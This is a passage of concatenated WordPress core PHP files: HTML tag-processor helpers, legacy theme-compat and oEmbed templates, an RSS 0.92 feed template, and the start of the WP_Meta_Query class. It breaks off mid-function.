		'SCRIPT',
		'IFRAME',
		'NOEMBED',
		'NOFRAMES',
		'STYLE',
		'TEXTAREA',
		'TITLE',
		'XMP',
	);

	/**
	 * Returns the content between two balanced template tags.
	 *
	 * It positions the cursor in the closer tag of the balanced template tag,
	 * if it exists.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return string|null The content between the current opener template tag and its matching closer tag or null if it
	 *                     doesn't find the matching closing tag or the current tag is not a template opener tag.
	 */
	public function get_content_between_balanced_template_tags() {
		if ( 'TEMPLATE' !== $this->get_tag() ) {
			return null;
		}

		$positions = $this->get_after_opener_tag_and_before_closer_tag_positions();
		if ( ! $positions ) {
			return null;
		}
		list( $after_opener_tag, $before_closer_tag ) = $positions;

		return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag );
	}

	/**
	 * Sets the content between two balanced tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param string $new_content The string to replace the content between the matching tags.
	 * @return bool Whether the content was successfully replaced.
	 */
	public function set_content_between_balanced_tags( string $new_content ): bool {
		$positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true );
		if ( ! $positions ) {
			return false;
		}
		list( $after_opener_tag, $before_closer_tag ) = $positions;

		$this->lexical_updates[] = new WP_HTML_Text_Replacement(
			$after_opener_tag,
			$before_closer_tag - $after_opener_tag,
			esc_html( $new_content )
		);

		return true;
	}

	/**
	 * Appends content after the closing tag of a template tag.
	 *
	 * It positions the cursor in the closer tag of the balanced template tag,
	 * if it exists.
	 *
	 * @access private
	 *
	 * @param string $new_content The string to append after the closing template tag.
	 * @return bool Whether the content was successfully appended.
	 */
	public function append_content_after_template_tag_closer( string $new_content ): bool {
		if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) {
			return false;
		}

		// Flushes any changes.
		$this->get_updated_html();

		$bookmark = 'append_content_after_template_tag_closer';
		$this->set_bookmark( $bookmark );
		$after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length + 1;
		$this->release_bookmark( $bookmark );

		// Appends the new content.
		$this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content );

		return true;
	}

	/**
	 * Gets the positions right after the opener tag and right before the closer
	 * tag in a balanced tag.
	 *
	 * By default, it positions the cursor in the closer tag of the balanced tag.
	 * If $rewind is true, it seeks back to the opener tag.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false.
	 * @return array|null Start and end byte position, or null when no balanced tag bookmarks.
	 */
	private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) {
		// Flushes any changes.
		$this->get_updated_html();

		$bookmarks = $this->get_balanced_tag_bookmarks();
		if ( ! $bookmarks ) {
			return null;
		}
		list( $opener_tag, $closer_tag ) = $bookmarks;

		$after_opener_tag  = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length + 1;
		$before_closer_tag = $this->bookmarks[ $closer_tag ]->start;

		if ( $rewind ) {
			$this->seek( $opener_tag );
		}

		$this->release_bookmark( $opener_tag );
		$this->release_bookmark( $closer_tag );

		return array( $after_opener_tag, $before_closer_tag );
	}

	/**
	 * Returns a pair of bookmarks for the current opener tag and the matching
	 * closer tag.
	 *
	 * It positions the cursor in the closer tag of the balanced tag, if it
	 * exists.
	 *
	 * @since 6.5.0
	 *
	 * @return array|null A pair of bookmarks, or null if there's no matching closing tag.
	 */
	private function get_balanced_tag_bookmarks() {
		static $i   = 0;
		$opener_tag = 'opener_tag_of_balanced_tag_' . ++$i;

		$this->set_bookmark( $opener_tag );
		if ( ! $this->next_balanced_tag_closer_tag() ) {
			$this->release_bookmark( $opener_tag );
			return null;
		}

		$closer_tag = 'closer_tag_of_balanced_tag_' . ++$i;
		$this->set_bookmark( $closer_tag );

		return array( $opener_tag, $closer_tag );
	}

	/**
	 * Skips processing the content between tags.
	 *
	 * It positions the cursor in the closer tag of the foreign element, if it
	 * exists.
	 *
	 * This function is intended to skip processing SVG and MathML inner content
	 * instead of bailing out the whole processing.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether the foreign content was successfully skipped.
	 */
	public function skip_to_tag_closer(): bool {
		$depth    = 1;
		$tag_name = $this->get_tag();
		while ( $depth > 0 && $this->next_tag(
			array(
				'tag_name'    => $tag_name,
				'tag_closers' => 'visit',
			)
		) ) {
			if ( $this->has_self_closing_flag() ) {
				continue;
			}
			$depth += $this->is_tag_closer() ? -1 : 1;
		}

		return 0 === $depth;
	}

	/**
	 * Finds the matching closing tag for an opening tag.
	 *
	 * When called while the processor is on an open tag, it traverses the HTML
	 * until it finds the matching closer tag, respecting any in-between content,
	 * including nested tags of the same name. Returns false when called on a
	 * closer tag, a tag that doesn't have a closer tag (void), a tag that
	 * doesn't visit the closer tag, or if no matching closing tag was found.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a matching closing tag was found.
	 */
	public function next_balanced_tag_closer_tag(): bool {
		$depth    = 0;
		$tag_name = $this->get_tag();

		if ( ! $this->has_and_visits_its_closer_tag() ) {
			return false;
		}

		while ( $this->next_tag(
			array(
				'tag_name'    => $tag_name,
				'tag_closers' => 'visit',
			)
		) ) {
			if ( ! $this->is_tag_closer() ) {
				++$depth;
				continue;
			}

			if ( 0 === $depth ) {
				return true;
			}

			--$depth;
		}

		return false;
	}

	/**
	 * Checks whether the current tag has and will visit its matching closer tag.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether the current tag has a closer tag.
	 */
	public function has_and_visits_its_closer_tag(): bool {
		$tag_name = $this->get_tag();

		return null !== $tag_name && (
			! WP_HTML_Processor::is_void( $tag_name ) &&
			! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true )
		);
	}
}
<?php
/**
 * Contains the post embed header template
 *
 * When a post is embedded in an iframe, this file is used to create the header output
 * if the active theme does not include a header-embed.php template.
 *
 * @package WordPress
 * @subpackage Theme_Compat
 * @since 4.5.0
 */

if ( ! headers_sent() ) {
	header( 'X-WP-embed: true' );
}

?>
<!DOCTYPE html>
<html <?php language_attributes(); ?> class="no-js">
<head>
	<title><?php echo wp_get_document_title(); ?></title>
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<?php
	/**
	 * Prints scripts or data in the embed template head tag.
	 *
	 * @since 4.4.0
	 */
	do_action( 'embed_head' );
	?>
</head>
<body <?php body_class(); ?>>
<?php
/**
 * @package WordPress
 * @subpackage Theme_Compat
 * @deprecated 3.0.0
 *
 * This file is here for backward compatibility with old themes and will be removed in a future version.
 */
_deprecated_file(
	/* translators: %s: Template name. */
	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
	'3.0.0',
	null,
	/* translators: %s: Template name. */
	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
);
?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<link rel="profile" href="https://gmpg.org/xfn/11" />
<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" />

<title><?php echo wp_get_document_title(); ?></title>

<link rel="stylesheet" href="<?php bloginfo( 'stylesheet_url' ); ?>" type="text/css" media="screen" />
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />

<?php if ( file_exists( get_stylesheet_directory() . '/images/kubrickbgwide.jpg' ) ) { ?>
<style type="text/css" media="screen">

	<?php
	// Checks to see whether it needs a sidebar.
	if ( empty( $withcomments ) && ! is_single() ) {
		?>
	#page { background: url("<?php bloginfo( 'stylesheet_directory' ); ?>/images/kubrickbg-<?php bloginfo( 'text_direction' ); ?>.jpg") repeat-y top; border: none; }
<?php } else { // No sidebar. ?>
	#page { background: url("<?php bloginfo( 'stylesheet_directory' ); ?>/images/kubrickbgwide.jpg") repeat-y top; border: none; }
<?php } ?>

</style>
<?php } ?>

<?php
if ( is_singular() ) {
	wp_enqueue_script( 'comment-reply' );
}
?>

<?php wp_head(); ?>
</head>
<body <?php body_class(); ?>>
<div id="page">

<div id="header" role="banner">
	<div id="headerimg">
		<h1><a href="<?php echo home_url(); ?>/"><?php bloginfo( 'name' ); ?></a></h1>
		<div class="description"><?php bloginfo( 'description' ); ?></div>
	</div>
</div>
<hr />
<?php
/**
 * Contains the post embed content template part
 *
 * When a post is embedded in an iframe, this file is used to create the content template part
 * output if the active theme does not include an embed-404.php template.
 *
 * @package WordPress
 * @subpackage Theme_Compat
 * @since 4.5.0
 */
?>
<div class="wp-embed">
	<p class="wp-embed-heading"><?php _e( 'Oops! That embed cannot be found.' ); ?></p>

	<div class="wp-embed-excerpt">
		<p>
			<?php
			printf(
				/* translators: %s: A link to the embedded site. */
				__( 'It looks like nothing was found at this location. Maybe try visiting %s directly?' ),
				'<strong><a href="' . esc_url( home_url() ) . '">' . esc_html( get_bloginfo( 'name' ) ) . '</a></strong>'
			);
			?>
		</p>
	</div>

	<?php
	/** This filter is documented in wp-includes/theme-compat/embed-content.php */
	do_action( 'embed_content' );
	?>

	<div class="wp-embed-footer">
		<?php the_embed_site_title(); ?>
	</div>
</div>
<?php
/**
 * Contains the post embed footer template
 *
 * When a post is embedded in an iframe, this file is used to create the footer output
 * if the active theme does not include a footer-embed.php template.
 *
 * @package WordPress
 * @subpackage Theme_Compat
 * @since 4.5.0
 */

/**
 * Prints scripts or data before the closing body tag in the embed template.
 *
 * @since 4.4.0
 */
do_action( 'embed_footer' );
?>
</body>
</html>
<?php
/**
 * @package WordPress
 * @subpackage Theme_Compat
 * @deprecated 3.0.0
 *
 * This file is here for backward compatibility with old themes and will be removed in a future version.
 */
_deprecated_file(
	/* translators: %s: Template name. */
	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
	'3.0.0',
	null,
	/* translators: %s: Template name. */
	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
);
?>
	<div id="sidebar" role="complementary">
		<ul>
			<?php
			/* Widgetized sidebar, if you have the plugin installed. */
			if ( ! function_exists( 'dynamic_sidebar' ) || ! dynamic_sidebar() ) :
				?>
			<li>
				<?php get_search_form(); ?>
			</li>

			<!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it.
			<li><h2><?php _e( 'Author' ); ?></h2>
			<p>A little something about you, the author. Nothing lengthy, just an overview.</p>
			</li>
			-->

				<?php
				if ( is_404() || is_category() || is_day() || is_month() ||
				is_year() || is_search() || is_paged() ) :
					?>
			<li>

					<?php if ( is_404() ) : /* If this is a 404 page */ ?>
			<?php elseif ( is_category() ) : /* If this is a category archive */ ?>
				<p>
				<?php
					printf(
						/* translators: %s: Category name. */
						__( 'You are currently browsing the archives for the %s category.' ),
						single_cat_title( '', false )
					);
				?>
				</p>

			<?php elseif ( is_day() ) : /* If this is a daily archive */ ?>
				<p>
				<?php
					printf(
						/* translators: 1: Site link, 2: Archive date. */
						__( 'You are currently browsing the %1$s blog archives for the day %2$s.' ),
						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
						/* translators: Daily archives date format. See https://www.php.net/manual/datetime.format.php */
						get_the_time( __( 'l, F jS, Y' ) )
					);
				?>
				</p>

			<?php elseif ( is_month() ) : /* If this is a monthly archive */ ?>
				<p>
				<?php
					printf(
						/* translators: 1: Site link, 2: Archive month. */
						__( 'You are currently browsing the %1$s blog archives for %2$s.' ),
						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
						/* translators: Monthly archives date format. See https://www.php.net/manual/datetime.format.php */
						get_the_time( __( 'F, Y' ) )
					);
				?>
				</p>

			<?php elseif ( is_year() ) : /* If this is a yearly archive */ ?>
				<p>
				<?php
					printf(
						/* translators: 1: Site link, 2: Archive year. */
						__( 'You are currently browsing the %1$s blog archives for the year %2$s.' ),
						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
						get_the_time( 'Y' )
					);
				?>
				</p>

			<?php elseif ( is_search() ) : /* If this is a search result */ ?>
				<p>
				<?php
					printf(
						/* translators: 1: Site link, 2: Search query. */
						__( 'You have searched the %1$s blog archives for <strong>&#8216;%2$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links.' ),
						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
						esc_html( get_search_query() )
					);
				?>
				</p>

			<?php elseif ( isset( $_GET['paged'] ) && ! empty( $_GET['paged'] ) ) : /* If this set is paginated */ ?>
				<p>
				<?php
					printf(
						/* translators: %s: Site link. */
						__( 'You are currently browsing the %s blog archives.' ),
						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) )
					);
				?>
				</p>

			<?php endif; ?>

			</li>
			<?php endif; ?>
		</ul>
		<ul role="navigation">
				<?php wp_list_pages( 'title_li=<h2>' . __( 'Pages' ) . '</h2>' ); ?>

			<li><h2><?php _e( 'Archives' ); ?></h2>
				<ul>
				<?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>
				</ul>
			</li>

				<?php
				wp_list_categories(
					array(
						'show_count' => 1,
						'title_li'   => '<h2>' . __( 'Categories' ) . '</h2>',
					)
				);
				?>
		</ul>
		<ul>
				<?php if ( is_home() || is_page() ) { /* If this is the frontpage */ ?>
					<?php wp_list_bookmarks(); ?>

				<li><h2><?php _e( 'Meta' ); ?></h2>
				<ul>
					<?php wp_register(); ?>
					<li><?php wp_loginout(); ?></li>
					<?php wp_meta(); ?>
				</ul>
				</li>
			<?php } ?>

			<?php endif; /* ! dynamic_sidebar() */ ?>
		</ul>
	</div>
<?php
/**
 * @package WordPress
 * @subpackage Theme_Compat
 * @deprecated 3.0.0
 *
 * This file is here for backward compatibility with old themes and will be removed in a future version
 */
_deprecated_file(
	/* translators: %s: Template name. */
	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
	'3.0.0',
	null,
	/* translators: %s: Template name. */
	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
);

// Do not delete these lines.
if ( ! empty( $_SERVER['SCRIPT_FILENAME'] ) && 'comments.php' === basename( $_SERVER['SCRIPT_FILENAME'] ) ) {
	die( 'Please do not load this page directly. Thanks!' );
}

if ( post_password_required() ) { ?>
		<p class="nocomments"><?php _e( 'This post is password protected. Enter the password to view comments.' ); ?></p>
	<?php
	return;
}
?>

<!-- You can start editing here. -->

<?php if ( have_comments() ) : ?>
	<h3 id="comments">
		<?php
		if ( '1' === get_comments_number() ) {
			printf(
				/* translators: %s: Post title. */
				__( 'One response to %s' ),
				'&#8220;' . get_the_title() . '&#8221;'
			);
		} else {
			printf(
				/* translators: 1: Number of comments, 2: Post title. */
				_n( '%1$s response to %2$s', '%1$s responses to %2$s', get_comments_number() ),
				number_format_i18n( get_comments_number() ),
				'&#8220;' . get_the_title() . '&#8221;'
			);
		}
		?>
	</h3>

	<div class="navigation">
		<div class="alignleft"><?php previous_comments_link(); ?></div>
		<div class="alignright"><?php next_comments_link(); ?></div>
	</div>

	<ol class="commentlist">
	<?php wp_list_comments(); ?>
	</ol>

	<div class="navigation">
		<div class="alignleft"><?php previous_comments_link(); ?></div>
		<div class="alignright"><?php next_comments_link(); ?></div>
	</div>
<?php else : // This is displayed if there are no comments so far. ?>

	<?php if ( comments_open() ) : ?>
		<!-- If comments are open, but there are no comments. -->

	<?php else : // Comments are closed. ?>
		<!-- If comments are closed. -->
		<p class="nocomments"><?php _e( 'Comments are closed.' ); ?></p>

	<?php endif; ?>
<?php endif; ?>

<?php comment_form(); ?>
<?php
/**
 * @package WordPress
 * @subpackage Theme_Compat
 * @deprecated 3.0.0
 *
 * This file is here for backward compatibility with old themes and will be removed in a future version
 */
_deprecated_file(
	/* translators: %s: Template name. */
	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
	'3.0.0',
	null,
	/* translators: %s: Template name. */
	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
);
?>

<hr />
<div id="footer" role="contentinfo">
<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
	<p>
		<?php
		printf(
			/* translators: 1: Site name, 2: WordPress */
			__( '%1$s is proudly powered by %2$s' ),
			get_bloginfo( 'name' ),
			'<a href="https://wordpress.org/">WordPress</a>'
		);
		?>
	</p>
</div>
</div>

<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/ -->
<?php /* "Just what do you think you're doing Dave?" */ ?>

		<?php wp_footer(); ?>
</body>
</html>
<?php
/**
 * Contains the post embed content template part
 *
 * When a post is embedded in an iframe, this file is used to create the content template part
 * output if the active theme does not include an embed-content.php template.
 *
 * @package WordPress
 * @subpackage Theme_Compat
 * @since 4.5.0
 */
?>
	<div <?php post_class( 'wp-embed' ); ?>>
		<?php
		$thumbnail_id = 0;

		if ( has_post_thumbnail() ) {
			$thumbnail_id = get_post_thumbnail_id();
		}

		if ( 'attachment' === get_post_type() && wp_attachment_is_image() ) {
			$thumbnail_id = get_the_ID();
		}

		/**
		 * Filters the thumbnail image ID for use in the embed template.
		 *
		 * @since 4.9.0
		 *
		 * @param int|false $thumbnail_id Attachment ID, or false if there is none.
		 */
		$thumbnail_id = apply_filters( 'embed_thumbnail_id', $thumbnail_id );

		if ( $thumbnail_id ) {
			$aspect_ratio = 1;
			$measurements = array( 1, 1 );
			$image_size   = 'full'; // Fallback.

			$meta = wp_get_attachment_metadata( $thumbnail_id );
			if ( ! empty( $meta['sizes'] ) ) {
				foreach ( $meta['sizes'] as $size => $data ) {
					if ( $data['height'] > 0 && $data['width'] / $data['height'] > $aspect_ratio ) {
						$aspect_ratio = $data['width'] / $data['height'];
						$measurements = array( $data['width'], $data['height'] );
						$image_size   = $size;
					}
				}
			}

			/**
			 * Filters the thumbnail image size for use in the embed template.
			 *
			 * @since 4.4.0
			 * @since 4.5.0 Added `$thumbnail_id` parameter.
			 *
			 * @param string $image_size   Thumbnail image size.
			 * @param int    $thumbnail_id Attachment ID.
			 */
			$image_size = apply_filters( 'embed_thumbnail_image_size', $image_size, $thumbnail_id );

			$shape = $measurements[0] / $measurements[1] >= 1.75 ? 'rectangular' : 'square';

			/**
			 * Filters the thumbnail shape for use in the embed template.
			 *
			 * Rectangular images are shown above the title while square images
			 * are shown next to the content.
			 *
			 * @since 4.4.0
			 * @since 4.5.0 Added `$thumbnail_id` parameter.
			 *
			 * @param string $shape        Thumbnail image shape. Either 'rectangular' or 'square'.
			 * @param int    $thumbnail_id Attachment ID.
			 */
			$shape = apply_filters( 'embed_thumbnail_image_shape', $shape, $thumbnail_id );
		}

		if ( $thumbnail_id && 'rectangular' === $shape ) :
			?>
			<div class="wp-embed-featured-image rectangular">
				<a href="<?php the_permalink(); ?>" target="_top">
					<?php echo wp_get_attachment_image( $thumbnail_id, $image_size ); ?>
				</a>
			</div>
		<?php endif; ?>

		<p class="wp-embed-heading">
			<a href="<?php the_permalink(); ?>" target="_top">
				<?php the_title(); ?>
			</a>
		</p>

		<?php if ( $thumbnail_id && 'square' === $shape ) : ?>
			<div class="wp-embed-featured-image square">
				<a href="<?php the_permalink(); ?>" target="_top">
					<?php echo wp_get_attachment_image( $thumbnail_id, $image_size ); ?>
				</a>
			</div>
		<?php endif; ?>

		<div class="wp-embed-excerpt"><?php the_excerpt_embed(); ?></div>

		<?php
		/**
		 * Prints additional content after the embed excerpt.
		 *
		 * @since 4.4.0
		 */
		do_action( 'embed_content' );
		?>

		<div class="wp-embed-footer">
			<?php the_embed_site_title(); ?>

			<div class="wp-embed-meta">
				<?php
				/**
				 * Prints additional meta content in the embed template.
				 *
				 * @since 4.4.0
				 */
				do_action( 'embed_content_meta' );
				?>
			</div>
		</div>
	</div>
<?php
<?php
/**
 * Contains the post embed base template
 *
 * When a post is embedded in an iframe, this file is used to create the output
 * if the active theme does not include an embed.php template.
 *
 * @package WordPress
 * @subpackage oEmbed
 * @since 4.4.0
 */

get_header( 'embed' );

if ( have_posts() ) :
	while ( have_posts() ) :
		the_post();
		get_template_part( 'embed', 'content' );
	endwhile;
else :
	get_template_part( 'embed', '404' );
endif;

get_footer( 'embed' );
<?php
/**
 * RSS 0.92 Feed Template for displaying RSS 0.92 Posts feed.
 *
 * @package WordPress
 */

header( 'Content-Type: ' . feed_content_type( 'rss' ) . '; charset=' . get_option( 'blog_charset' ), true );
$more = 1;

echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>'; ?>
<rss version="0.92">
<channel>
	<title><?php wp_title_rss(); ?></title>
	<link><?php bloginfo_rss( 'url' ); ?></link>
	<description><?php bloginfo_rss( 'description' ); ?></description>
	<lastBuildDate><?php echo get_feed_build_date( 'D, d M Y H:i:s +0000' ); ?></lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language><?php bloginfo_rss( 'language' ); ?></language>
	<?php
	/**
	 * Fires at the end of the RSS Feed Header.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rss_head' );
	?>

<?php
while ( have_posts() ) :
	the_post();
	?>
	<item>
		<title><?php the_title_rss(); ?></title>
		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
		<link><?php the_permalink_rss(); ?></link>
		<?php
		/**
		 * Fires at the end of each RSS feed item.
		 *
		 * @since 2.0.0
		 */
		do_action( 'rss_item' );
		?>
	</item>
<?php endwhile; ?>
</channel>
</rss>
<?php
/**
 * Meta API: WP_Meta_Query class
 *
 * @package WordPress
 * @subpackage Meta
 * @since 4.4.0
 */

/**
 * Core class used to implement meta queries for the Meta API.
 *
 * Used for generating SQL clauses that filter a primary query according to metadata keys and values.
 *
 * WP_Meta_Query is a helper that allows primary query classes, such as WP_Query and WP_User_Query,
 *
 * to filter their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be attached
 * to the primary SQL query string.
 *
 * @since 3.2.0
 */
#[AllowDynamicProperties]
class WP_Meta_Query {
	/**
	 * Array of metadata queries.
	 *
	 * See WP_Meta_Query::__construct() for information on meta query arguments.
	 *
	 * @since 3.2.0
	 * @var array
	 */
	public $queries = array();

	/**
	 * The relation between the queries. Can be one of 'AND' or 'OR'.
	 *
	 * @since 3.2.0
	 * @var string
	 */
	public $relation;

	/**
	 * Database table to query for the metadata.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $meta_table;

	/**
	 * Column in meta_table that represents the ID of the object the metadata belongs to.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $meta_id_column;

	/**
	 * Database table that where the metadata's objects are stored (eg $wpdb->users).
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $primary_table;

	/**
	 * Column in primary_table that represents the ID of the object.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $primary_id_column;

	/**
	 * A flat list of table aliases used in JOIN clauses.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $table_aliases = array();

	/**
	 * A flat list of clauses, keyed by clause 'name'.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	protected $clauses = array();

	/**
	 * Whether the query contains any OR relations.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $has_or_relation = false;

	/**
	 * Constructor.
	 *
	 * @since 3.2.0
	 * @since 4.2.0 Introduced support for naming query clauses by associative array keys.
	 * @since 5.1.0 Introduced `$compare_key` clause parameter, which enables LIKE key matches.
	 * @since 5.3.0 Increased the number of operators available to `$compare_key`. Introduced `$type_key`,
	 *              which enables the `$key` to be cast to a new data type for comparisons.
	 *
	 * @param array $meta_query {
	 *     Array of meta query clauses. When first-order clauses or sub-clauses use strings as
	 *     their array keys, they may be referenced in the 'orderby' parameter of the parent query.
	 *
	 *     @type string $relation Optional. The MySQL keyword used to join the clauses of the query.
	 *                            Accepts 'AND' or 'OR'. Default 'AND'.
	 *     @type array  ...$0 {
	 *         Optional. An array of first-order clause parameters, or another fully-formed meta query.
	 *
	 *         @type string|string[] $key         Meta key or keys to filter by.
	 *         @type string          $compare_key MySQL operator used for comparing the $key. Accepts:
	 *                                            - '='
	 *                                            - '!='
	 *                                            - 'LIKE'
	 *                                            - 'NOT LIKE'
	 *                                            - 'IN'
	 *                                            - 'NOT IN'
	 *                                            - 'REGEXP'
	 *                                            - 'NOT REGEXP'
	 *                                            - 'RLIKE',
	 *                                            - 'EXISTS' (alias of '=')
	 *                                            - 'NOT EXISTS' (alias of '!=')
	 *                                            Default is 'IN' when `$key` is an array, '=' otherwise.
	 *         @type string          $type_key    MySQL data type that the meta_key column will be CAST to for
	 *                                            comparisons. Accepts 'BINARY' for case-sensitive regular expression
	 *                                            comparisons. Default is ''.
	 *         @type string|string[] $value       Meta value or values to filter by.
	 *         @type string          $compare     MySQL operator used for comparing the $value. Accepts:
	 *                                            - '=',
	 *                                            - '!='
	 *                                            - '>'
	 *                                            - '>='
	 *                                            - '<'
	 *                                            - '<='
	 *                                            - 'LIKE'
	 *                                            - 'NOT LIKE'
	 *                                            - 'IN'
	 *                                            - 'NOT IN'
	 *                                            - 'BETWEEN'
	 *                                            - 'NOT BETWEEN'
	 *                                            - 'REGEXP'
	 *                                            - 'NOT REGEXP'
	 *                                            - 'RLIKE'
	 *                                            - 'EXISTS'
	 *                                            - 'NOT EXISTS'
	 *                                            Default is 'IN' when `$value` is an array, '=' otherwise.
	 *         @type string          $type        MySQL data type that the meta_value column will be CAST to for
	 *                                            comparisons. Accepts:
	 *                                            - 'NUMERIC'
	 *                                            - 'BINARY'
	 *                                            - 'CHAR'
	 *                                            - 'DATE'
	 *                                            - 'DATETIME'
	 *                                            - 'DECIMAL'
	 *                                            - 'SIGNED'
	 *                                            - 'TIME'
	 *                                            - 'UNSIGNED'
	 *                                            Default is 'CHAR'.
	 *     }
	 * }
	 */
	public function __construct( $meta_query = false ) {
		if ( ! $meta_query ) {
			return;
		}

		if ( isset( $meta_query['relation'] ) && 'OR' === strtoupper( $meta_query['relation'] ) ) {
			$this->relation = 'OR';
		} else {
			$this->relation = 'AND';
		}

		$this->queries = $this->sanitize_query( $meta_query );
	}

	/**
	 * Ensures the 'meta_query' argument passed to the class constructor is well-formed.
	 *
	 * Eliminates empty items and ensures that a 'relation' is set.
	 *
	 * @since 4.1.0
	 *
	 * @param array $queries Array of query clauses.
	 * @return array Sanitized array of query clauses.
	 */
	public function sanitize_query( $queries ) {
		$clean_queries = array();

		if ( ! is_array( $queries ) ) {
			return $clean_queries;
		}

		foreach ( $queries as $key => $query ) {
			if ( 'relation' === $key ) {
				$relation = $query;

			} elseif ( ! is_array( $query ) ) {
				continue;

				// First-order clause.
			} elseif ( $this->is_first_order_clause( $query ) ) {
				if ( isset( $query['value'] ) && array() === $query['value'] ) {
					unset( $query['value'] );
				}

				$clean_queries[ $key ] = $query;

				// Otherwise, it's a nested query, so we recurse.
			} else {
				$cleaned_query = $this->sanitize_query( $query );

				if ( ! empty( $cleaned_query ) ) {
					$clean_queries[ $key ] = $cleaned_query;
				}
			}
		}

		if ( empty( $clean_queries ) ) {
			return $clean_queries;
		}

		// Sanitize the 'relation' key provided in the query.
		if ( isset( $relation ) && 'OR' === strtoupper( $relation ) ) {
			$clean_queries['relation'] = 'OR';
			$this->has_or_relation     = true;

			/*
			* If there is only a single clause, call the relation 'OR'.
			* This value will not actually be used to join clauses, but it
			* simplifies the logic around combining key-only queries.
			*/
		} elseif ( 1 === count( $clean_queries ) ) {
			$clean_queries['relation'] = 'OR';

			// Default to AND.
		} else {
			$clean_queries['relation'] = 'AND';
		}

		return $clean_queries;
	}

	/**
	 * Determines whether a query clause is first-order.
	 *
	 * A first-order meta query clause is one that has either a 'key' or
	 * a 'value' array key.
	 *
	 * @since 4.1.0
	 *
	 * @param array $query Meta query arguments.
	 * @return bool Whether the query clause is a first-order clause.
	 */
	protected function is_first_order_clause( $query ) {
		return isset( $query['key'] ) || isset( $query['value'] );
	}

	/**
	 * Constructs a meta query based on 'meta_*' query vars
	 *
	 * @since 3.2.0
	 *
	 * @param array $qv The query variables.
	 */
	public function parse_query_vars( $qv ) {
		$meta_query = array();

		/*
		 * For orderby=meta_value to work correctly, simple query needs to be
		 * first (so that its table join is against an unaliased meta table) and
		 * needs to be its own clause (so it doesn't interfere with the logic of
		 * the rest of the meta_query).
		 */
		$primary_meta_query = array();
		foreach ( array( 'key', 'compare', 'type', 'compare_key', 'type_key' ) as $key ) {
			if ( ! empty( $qv[ "meta_$key" ] ) ) {
				$primary_meta_query[ $key ] = $qv[ "meta_$key" ];
			}
		}

		// WP_Query sets 'meta_value' = '' by default.
		if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) {
			$primary_meta_query['value'] = $qv['meta_value'];
		}

		$existing_meta_query = isset( $qv['meta_query'] ) && is_array( $qv['meta_query'] ) ? $qv['meta_query'] : array();

		if ( ! empty( $primary_meta_query ) && ! empty( $existing_meta_query ) ) {
			$meta_query = array(
				'relation' => 'AND',
				$primary_meta_query,
				$existing_meta_query,
			);
		} elseif ( ! empty( $primary_meta_query ) ) {
			$meta_query = array(
				$primary_meta_query,
			);
		} elseif ( ! empty( $existing_meta_query ) ) {
			$meta_query = $existing_meta_query;
		}

		$this->__construct( $meta_query );
	}

	/**
	 * Returns the appropriate alias for the given meta type if applicable.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type MySQL type to cast meta_value.
	 * @return string MySQL type.
	 */
	public function get_cast_for_type( $type = '' ) {
		if ( empty( $type ) ) {
			return 'CHAR';
		}

		$meta_type = strtoupper( $type );

